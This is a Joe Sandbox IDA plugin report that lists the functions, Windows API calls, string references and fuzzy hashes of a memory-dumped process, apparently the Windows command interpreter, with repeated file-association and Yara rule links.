Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: FileInformation$HandleQueryVolume
String ID:
API String ID: 2149833895-0
Opcode ID: 625d3b3e026192d6aa05ab746e3d747582aa1c91c48dbe730e9190b973acbc48
Instruction ID: 8ce60bc05aa610e0eeaa054f52d96408ad4582272f8a0d4c847c3f4c37fdd190
Opcode Fuzzy Hash: 625d3b3e026192d6aa05ab746e3d747582aa1c91c48dbe730e9190b973acbc48
Instruction Fuzzy Hash: 23115132618B8686E7609B51F4417AEF7B0FB48B58F845231DADD42A54DFBCD44CCB14

Function 00007FF718D48510 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

towupper.MSVCRT ref: 00007FF718D485D4

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heap$AllocProcessiswspacetowupper
String ID:
API String ID: 3520273530-0
Opcode ID: 4bf984449d6576c9e1357fbba499d80d7c4b4475721f5272d0d4c1e3d8a5570f
Instruction ID: 17d14849ab54895955ea45e90cc436f7ed20b8ead83f38dcac2685dea80ef6d8
Opcode Fuzzy Hash: 4bf984449d6576c9e1357fbba499d80d7c4b4475721f5272d0d4c1e3d8a5570f
Instruction Fuzzy Hash: 6761A031A0CB0A85F764BF24910527DE6B0EB0C7A4FC44236DA9E566D5DF3CA48CC729

Function 00007FF718D5898C Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationToken.NTDLL ref: 00007FF718D589B6

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: InformationQueryToken
String ID:
API String ID: 4239771691-0
Opcode ID: 7517614d59da3da2d62857270a17558918b7290ddd6fc4d467c09f47fe27c059
Instruction ID: fb7be5088f1ed9a9baaade010a2be0b7df3bcdce15f20da1e0dbd13892e51f15
Opcode Fuzzy Hash: 7517614d59da3da2d62857270a17558918b7290ddd6fc4d467c09f47fe27c059
Instruction Fuzzy Hash: BBF0A0B3704B81CBC7008F64E08449CB778F708B98B95853ACB6803304DB71D9A8CB50

Function 00007FF718D593B0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D593BB

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: eff4557ae00fe4591a940a5480948ed29a826f3915cdbc5be4334919315eb20c
Instruction ID: c549737fc83602ef1969451ef772c4e412c855d08f8e41c87d65995ba7145029
Opcode Fuzzy Hash: eff4557ae00fe4591a940a5480948ed29a826f3915cdbc5be4334919315eb20c
Instruction Fuzzy Hash: 2AB09210E65986E1E708BB31AC8206892B06B5C720FC00472D04E84160DE2C929F8714

Function 00007FF718D4F8C0 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 380COMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00000000,?,00007FF718D4F52A,00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F8DE
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F8FB
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F951
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F96B
wcschr.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4FA8E
_get_osfhandle.MSVCRT ref: 00007FF718D4FB14
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4FB2D
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4FBEA
_get_osfhandle.MSVCRT ref: 00007FF718D4F996

Part of subcall function 00007FF718D50010: SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF718D6849D,?,?,?,00007FF718D6F0C7), ref: 00007FF718D50045
Part of subcall function 00007FF718D50010: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF718D6F0C7,?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D50071
Part of subcall function 00007FF718D50010: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D50092
Part of subcall function 00007FF718D50010: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D500A7
Part of subcall function 00007FF718D50010: MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D50181

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D5D401
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D5D41B
longjmp.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D5D435
longjmp.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D5D480

Strings

=,;, xrefs: 00007FF718D4F8C8

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CriticalSection$EnterFileLeave$LockPointerShared_get_osfhandlelongjmp$AcquireByteCharErrorLastMultiReadReleaseWidewcschr
String ID: =,;
API String ID: 3964947564-1539845467
Opcode ID: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
Instruction ID: 98e5f7bda366bc24d395195f9beaef998e2c944cbd568f063a6cb962f71b80d2
Opcode Fuzzy Hash: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
Instruction Fuzzy Hash: F2027B31A09F4A86EB14BB219845179E6B1FF4EB74FD442B5D98E426A4DF3CA40DC328

Function 00007FF718D502A0 Relevance: 35.3, APIs: 13, Strings: 7, Instructions: 279COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF718D502C2
_wcsicmp.MSVCRT ref: 00007FF718D502E4
_wcsicmp.MSVCRT ref: 00007FF718D50306
_wcsicmp.MSVCRT ref: 00007FF718D50328
_wcsicmp.MSVCRT ref: 00007FF718D5034A
_wcsicmp.MSVCRT ref: 00007FF718D50368
_wcsicmp.MSVCRT ref: 00007FF718D56CF2
_wcsicmp.MSVCRT ref: 00007FF718D56D61
_wcsicmp.MSVCRT ref: 00007FF718D56D7F
_wcsicmp.MSVCRT ref: 00007FF718D56D9D
_wcsicmp.MSVCRT ref: 00007FF718D56DBB
iswspace.MSVCRT(?,?,?,00000000,?,?,?,?,?,?,?,?,?,00007FF718D4E164), ref: 00007FF718D56E01
wcschr.MSVCRT(?,?,?,00000000,?,?,?,?,?,?,?,?,?,00007FF718D4E164), ref: 00007FF718D56E2C

Strings

FOR/?, xrefs: 00007FF718D502DD, 00007FF718D56CE9
IF/?, xrefs: 00007FF718D50321
;, xrefs: 00007FF718D503FD
=,;, xrefs: 00007FF718D56E1C
REM, xrefs: 00007FF718D50343
FOR, xrefs: 00007FF718D502BB
REM/?, xrefs: 00007FF718D50361

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmp$iswspacewcschr
String ID: ;$=,;$FOR$FOR/?$IF/?$REM$REM/?
API String ID: 840959033-3627297882
Opcode ID: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
Instruction ID: 072f1ec79d8d14a9024a761b583007744e83c5265736a651e3af6450152a9169
Opcode Fuzzy Hash: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
Instruction Fuzzy Hash: FDD15B21E08F0B86FB10BB61E8452B8E7B1BF5DB64FC44136D58D462A5EE2CA40D8739

Function 00007FF718D4EF40 Relevance: 33.7, APIs: 16, Strings: 3, Instructions: 465COMMON

Download Yara Rule

APIs

iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F000
wcschr.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F031
iswdigit.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F0D6

Strings

()|&=,;", xrefs: 00007FF718D4F3EC, 00007FF718D4F6D0
Ungetting: '%s', xrefs: 00007FF718D5D0E1
=,;, xrefs: 00007FF718D4EF9D, 00007FF718D4F1CE, 00007FF718D4F342, 00007FF718D4F61A

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswdigitiswspacewcschr
String ID: ()|&=,;"$=,;$Ungetting: '%s'
API String ID: 1595556998-2755026540
Opcode ID: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
Instruction ID: e70ead93dcf32299f4ebf152bd3c46317d367886aecc0dcdfa581b2717c0f540
Opcode Fuzzy Hash: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
Instruction Fuzzy Hash: C0227CB5D08F5B81FB607B15A449279E6A0BF0D7B0FC841B2D9CD46AA4DF3CA44D8638

Function 00007FF718D5081C Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D5084E
_wcsicmp.MSVCRT ref: 00007FF718D5088E
_wcsicmp.MSVCRT ref: 00007FF718D508AC
_wcsicmp.MSVCRT ref: 00007FF718D508CA
_wcsicmp.MSVCRT ref: 00007FF718D508E8
_wcsicmp.MSVCRT ref: 00007FF718D50906
_wcsicmp.MSVCRT ref: 00007FF718D50924
_wcsicmp.MSVCRT ref: 00007FF718D5093E
_wcsicmp.MSVCRT ref: 00007FF718D5095C

Strings

TIME, xrefs: 00007FF718D5091A
ERRORLEVEL, xrefs: 00007FF718D508A2
RANDOM, xrefs: 00007FF718D50934
HIGHESTNUMANODENUMBER, xrefs: 00007FF718D50952
CMDEXTVERSION, xrefs: 00007FF718D508C0
CMDCMDLINE, xrefs: 00007FF718D508DE
DATE, xrefs: 00007FF718D508FC

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmp$EnvironmentVariable
String ID: CMDCMDLINE$CMDEXTVERSION$DATE$ERRORLEVEL$HIGHESTNUMANODENUMBER$RANDOM$TIME
API String ID: 198002717-2301591722
Opcode ID: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
Instruction ID: 65e523552f5cf10fcbecc77819d1a3bf37b99f0988121dea55662b7d2452dbba
Opcode Fuzzy Hash: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
Instruction Fuzzy Hash: 1C511C21A08F4B86F7147B11A851579FAB1EF4EBA4FC89136CA8E43654DF2CE40C8769

Function 00007FF718D4D3F0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 310memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
wcschr.MSVCRT ref: 00007FF718D4D4EE
iswspace.MSVCRT ref: 00007FF718D4D54D
wcschr.MSVCRT ref: 00007FF718D4D569
wcschr.MSVCRT ref: 00007FF718D4D58C
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D5EE
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D605
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D61F
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D633

Strings

", xrefs: 00007FF718D4D5AB
=,;, xrefs: 00007FF718D4D4D0

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$Processwcschr$Alloc$Sizeiswspace
String ID: "$=,;
API String ID: 3545743878-4143597401
Opcode ID: b3fa525c0aa7c573df7f7b2f39b769da54eaf45f3e5e9f5bf37a15d8f9aec30a
Instruction ID: 287f3c139cbff5fe194dee2ab0e8b5aff2c3369dadd244bef1cf61c43082aec8
Opcode Fuzzy Hash: b3fa525c0aa7c573df7f7b2f39b769da54eaf45f3e5e9f5bf37a15d8f9aec30a
Instruction Fuzzy Hash: 6FC18071A09F5A82EB656B119400379F6A0FF4DF64FD88175DACE42B94EF3CA44DC228

Function 00007FF718D65BF4 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 153windowthreadCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D65CD5
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D65D54

Strings

%hs(%u)\%hs!%p: , xrefs: 00007FF718D65D01
LogHr, xrefs: 00007FF718D65C8E
CallContext:[%hs] , xrefs: 00007FF718D65DDD
Msg:[%ws] , xrefs: 00007FF718D65DC2
FailFast, xrefs: 00007FF718D65C85
%hs!%p: , xrefs: 00007FF718D65D1F
Exception, xrefs: 00007FF718D65CA0
[%hs], xrefs: 00007FF718D65E1D
, xrefs: 00007FF718D65DA7
(caller: %p) , xrefs: 00007FF718D65D3F
%hs(%d) tid(%x) %08X %ws, xrefs: 00007FF718D65D6D
[%hs(%hs)], xrefs: 00007FF718D65E04
ReturnHr, xrefs: 00007FF718D65C97

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CurrentFormatMessageThread
String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$Msg:[%ws] $ReturnHr$[%hs(%hs)]$[%hs]
API String ID: 2411632146-3173542853
Opcode ID: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
Instruction ID: 3d111899edda2f8dc8c55267b72f0f71a8d3062bbc158cb934c55b200e66eef6
Opcode Fuzzy Hash: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
Instruction Fuzzy Hash: 42613C71A09F8A81EB64FB51A4045A5E3B0EB4CBA8FD40136E98D07758CF3CE54C8718

Function 00007FF718D526E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 187fileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5277D
_open_osfhandle.MSVCRT ref: 00007FF718D5279E

Strings

con, xrefs: 00007FF718D527EF

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CreateFile_open_osfhandle
String ID: con
API String ID: 2905481843-4257191772
Opcode ID: 3459eb2e79cd0d2b6a799ffdb85acc031fe8388b8b96825e157d57a9e1669ecc
Instruction ID: 4d15f64e28fc5b51f1478e93b8b6fb646ae215716a18e6cca9a1505304066dec
Opcode Fuzzy Hash: 3459eb2e79cd0d2b6a799ffdb85acc031fe8388b8b96825e157d57a9e1669ecc
Instruction Fuzzy Hash: DF718232A08B858AE720AF14A440279FBB1FB8EB75F944335EA9D42794DF3CD44D8B14

Function 00007FF718D693E8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D533A8: iswspace.MSVCRT(?,?,00000000,00007FF718D6D6EE,?,?,?,00007FF718D60632), ref: 00007FF718D533C0

wcsrchr.MSVCRT ref: 00007FF718D69465

Part of subcall function 00007FF718D59158: RtlCaptureContext.NTDLL ref: 00007FF718D59163
Part of subcall function 00007FF718D59158: RtlLookupFunctionEntry.NTDLL ref: 00007FF718D59182
Part of subcall function 00007FF718D59158: RtlVirtualUnwind.NTDLL ref: 00007FF718D591CF
Part of subcall function 00007FF718D59158: __raise_securityfailure.LIBCMT ref: 00007FF718D59245

wcschr.MSVCRT ref: 00007FF718D69486
wcsrchr.MSVCRT ref: 00007FF718D694C1
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D694E5
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D694FC
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D69519
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D6952A
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D69541
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D6955E
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D69587
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D695E1
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D695FD

Strings

, xrefs: 00007FF718D695BA

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ConsoleMode$Handle$wcsrchr$CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailureiswspacewcschr
String ID:
API String ID: 3829876242-3916222277
Opcode ID: 10a5b567e72863909b04e51aaf43edd524101fd282eaa5692d28ef0ea38d911e
Instruction ID: 0476a9fd4ba71ddd4c26630d5328606392da75073b24cf838d8aa7ea01431468
Opcode Fuzzy Hash: 10a5b567e72863909b04e51aaf43edd524101fd282eaa5692d28ef0ea38d911e
Instruction Fuzzy Hash: 9F617F32A08F4A96E718AB1194151BAF6A1FF8DB68FD49134DE8E07794DF3CE40D8B14

Function 00007FF718D71A40 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D71AA6
memset.MSVCRT ref: 00007FF718D71ACC

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71B3E
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71B67
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71BD7
_wcsicmp.MSVCRT ref: 00007FF718D71C05
_wcsicmp.MSVCRT ref: 00007FF718D71C34
_wcsicmp.MSVCRT ref: 00007FF718D71C63
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D71C89
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D71CA9

Strings

CSVFS, xrefs: 00007FF718D71C58
REFS, xrefs: 00007FF718D71C29
NTFS, xrefs: 00007FF718D71BFA

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
